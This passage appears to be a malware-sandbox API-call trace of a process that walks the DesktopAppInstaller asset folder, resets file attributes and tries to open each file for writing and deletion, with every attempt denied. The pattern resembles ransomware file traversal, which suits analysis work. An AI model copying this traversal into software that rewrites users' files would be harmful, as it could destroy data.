	[0081.856] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0081.856] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0085.239] GetLastError () returned 0x5
	[0085.239] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0085.240] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e46fd0) returned 1

Thread:
	id = 546
	os_tid = 0x17b0

	[0077.446] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x2d8a4e8
	[0077.446] wcscpy (in: _Dest=0x2d8a4e8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0077.446] wcscat (in: _Dest=0x2d8a4e8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0077.446] wcscat (in: _Dest=0x2d8a4e8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\*"
	[0077.446] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4745ed8
	[0077.446] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\*", lpFindFileData=0x4745ed8 | out: lpFindFileData=0x4745ed8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d2bc66a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab13f343, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9d32ed7f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacbf8
	[0081.859] wcscmp (_String1=".", _String2=".") returned 0
	[0081.859] FindNextFileW (in: hFindFile=0x2dacbf8, lpFindFileData=0x4745ed8 | out: lpFindFileData=0x4745ed8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d2bc66a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab13f343, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9d32ed7f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.859] wcscmp (_String1="..", _String2=".") returned 1
	[0081.859] wcscmp (_String1="..", _String2="..") returned 0
	[0081.859] FindNextFileW (in: hFindFile=0x2dacbf8, lpFindFileData=0x4745ed8 | out: lpFindFileData=0x4745ed8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d2bc66a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d2bc66a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d2bc66a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x123, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageAppList.scale-100.png", cAlternateFileName="")) returned 1
	[0081.859] wcscmp (_String1="AppPackageAppList.scale-100.png", _String2=".") returned 1
	[0081.859] wcscmp (_String1="AppPackageAppList.scale-100.png", _String2="..") returned 1
	[0081.859] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x128) returned 0x2d89118
	[0081.859] wcscpy (in: _Dest=0x2d89118, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0081.859] wcscat (in: _Dest=0x2d89118, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0081.859] wcscat (in: _Dest=0x2d89118, _Source="AppPackageAppList.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageAppList.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageAppList.scale-100.png"
	[0091.770] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageAppList.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apppackageapplist.scale-100.png")) returned 0x20
	[0091.773] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageAppList.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.773] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageAppList.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apppackageapplist.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.773] GetLastError () returned 0x5
	[0091.773] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageAppList.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.773] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89118) returned 1
	[0091.773] FindNextFileW (in: hFindFile=0x2dacbf8, lpFindFileData=0x4745ed8 | out: lpFindFileData=0x4745ed8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d2bc66a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d2bc66a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d2bc66a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageBadgeLogo.scale-100.png", cAlternateFileName="")) returned 1
	[0091.773] wcscmp (_String1="AppPackageBadgeLogo.scale-100.png", _String2=".") returned 1
	[0091.773] wcscmp (_String1="AppPackageBadgeLogo.scale-100.png", _String2="..") returned 1
	[0091.773] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12c) returned 0x4ebc658
	[0091.773] wcscpy (in: _Dest=0x4ebc658, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0091.773] wcscat (in: _Dest=0x4ebc658, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0091.773] wcscat (in: _Dest=0x4ebc658, _Source="AppPackageBadgeLogo.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageBadgeLogo.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageBadgeLogo.scale-100.png"
	[0091.773] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageBadgeLogo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apppackagebadgelogo.scale-100.png")) returned 0x20
	[0091.776] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageBadgeLogo.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.776] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageBadgeLogo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apppackagebadgelogo.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.777] GetLastError () returned 0x5
	[0091.777] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageBadgeLogo.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.777] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc658) returned 1
	[0091.777] FindNextFileW (in: hFindFile=0x2dacbf8, lpFindFileData=0x4745ed8 | out: lpFindFileData=0x4745ed8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d2e28c8, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d2e28c8, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d2e28c8, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageLargeTile.scale-100.png", cAlternateFileName="")) returned 1
	[0091.777] wcscmp (_String1="AppPackageLargeTile.scale-100.png", _String2=".") returned 1
	[0091.777] wcscmp (_String1="AppPackageLargeTile.scale-100.png", _String2="..") returned 1
	[0091.777] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12c) returned 0x4ebcc70
	[0091.777] wcscpy (in: _Dest=0x4ebcc70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0091.777] wcscat (in: _Dest=0x4ebcc70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0091.777] wcscat (in: _Dest=0x4ebcc70, _Source="AppPackageLargeTile.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageLargeTile.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageLargeTile.scale-100.png"
	[0091.777] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageLargeTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apppackagelargetile.scale-100.png")) returned 0x20
	[0091.778] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageLargeTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.779] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageLargeTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apppackagelargetile.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.779] GetLastError () returned 0x5
	[0091.779] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageLargeTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.779] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebcc70) returned 1
	[0091.779] FindNextFileW (in: hFindFile=0x2dacbf8, lpFindFileData=0x4745ed8 | out: lpFindFileData=0x4745ed8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d2e28c8, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d2e28c8, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d2e28c8, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageMedTile.scale-100.png", cAlternateFileName="")) returned 1
	[0091.779] wcscmp (_String1="AppPackageMedTile.scale-100.png", _String2=".") returned 1
	[0091.779] wcscmp (_String1="AppPackageMedTile.scale-100.png", _String2="..") returned 1
	[0091.779] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x128) returned 0x2d89108
	[0091.779] wcscpy (in: _Dest=0x2d89108, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0091.779] wcscat (in: _Dest=0x2d89108, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0091.779] wcscat (in: _Dest=0x2d89108, _Source="AppPackageMedTile.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageMedTile.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageMedTile.scale-100.png"
	[0091.779] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageMedTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apppackagemedtile.scale-100.png")) returned 0x20
	[0091.782] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageMedTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.783] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageMedTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apppackagemedtile.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.783] GetLastError () returned 0x5
	[0091.783] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageMedTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.783] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89108) returned 1
	[0091.783] FindNextFileW (in: hFindFile=0x2dacbf8, lpFindFileData=0x4745ed8 | out: lpFindFileData=0x4745ed8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d2e28c8, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d2e28c8, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d2e28c8, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageSmallTile.scale-100.png", cAlternateFileName="")) returned 1
	[0091.783] wcscmp (_String1="AppPackageSmallTile.scale-100.png", _String2=".") returned 1
	[0091.783] wcscmp (_String1="AppPackageSmallTile.scale-100.png", _String2="..") returned 1
	[0091.783] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12c) returned 0x4ebc178
	[0091.783] wcscpy (in: _Dest=0x4ebc178, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0091.783] wcscat (in: _Dest=0x4ebc178, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0091.783] wcscat (in: _Dest=0x4ebc178, _Source="AppPackageSmallTile.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageSmallTile.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageSmallTile.scale-100.png"
	[0091.783] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageSmallTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apppackagesmalltile.scale-100.png")) returned 0x20
	[0091.786] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageSmallTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.786] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageSmallTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apppackagesmalltile.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.786] GetLastError () returned 0x5
	[0091.786] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageSmallTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.786] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc178) returned 1
	[0091.786] FindNextFileW (in: hFindFile=0x2dacbf8, lpFindFileData=0x4745ed8 | out: lpFindFileData=0x4745ed8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d2e28c8, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d2e28c8, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d2e28c8, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageSplashScreen.scale-100.png", cAlternateFileName="")) returned 1
	[0091.786] wcscmp (_String1="AppPackageSplashScreen.scale-100.png", _String2=".") returned 1
	[0091.786] wcscmp (_String1="AppPackageSplashScreen.scale-100.png", _String2="..") returned 1
	[0091.786] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x132) returned 0x481e030
	[0091.786] wcscpy (in: _Dest=0x481e030, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0091.787] wcscat (in: _Dest=0x481e030, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0091.787] wcscat (in: _Dest=0x481e030, _Source="AppPackageSplashScreen.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageSplashScreen.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageSplashScreen.scale-100.png"
	[0091.787] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageSplashScreen.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apppackagesplashscreen.scale-100.png")) returned 0x20
	[0091.791] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageSplashScreen.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.791] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageSplashScreen.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apppackagesplashscreen.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.791] GetLastError () returned 0x5
	[0091.792] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageSplashScreen.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.792] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481e030) returned 1
	[0091.792] FindNextFileW (in: hFindFile=0x2dacbf8, lpFindFileData=0x4745ed8 | out: lpFindFileData=0x4745ed8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d2e28c8, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d2e28c8, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d2e28c8, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x13d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageStoreLogo.scale-100.png", cAlternateFileName="")) returned 1
	[0091.792] wcscmp (_String1="AppPackageStoreLogo.scale-100.png", _String2=".") returned 1
	[0091.792] wcscmp (_String1="AppPackageStoreLogo.scale-100.png", _String2="..") returned 1
	[0091.792] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12c) returned 0x4ebcc70
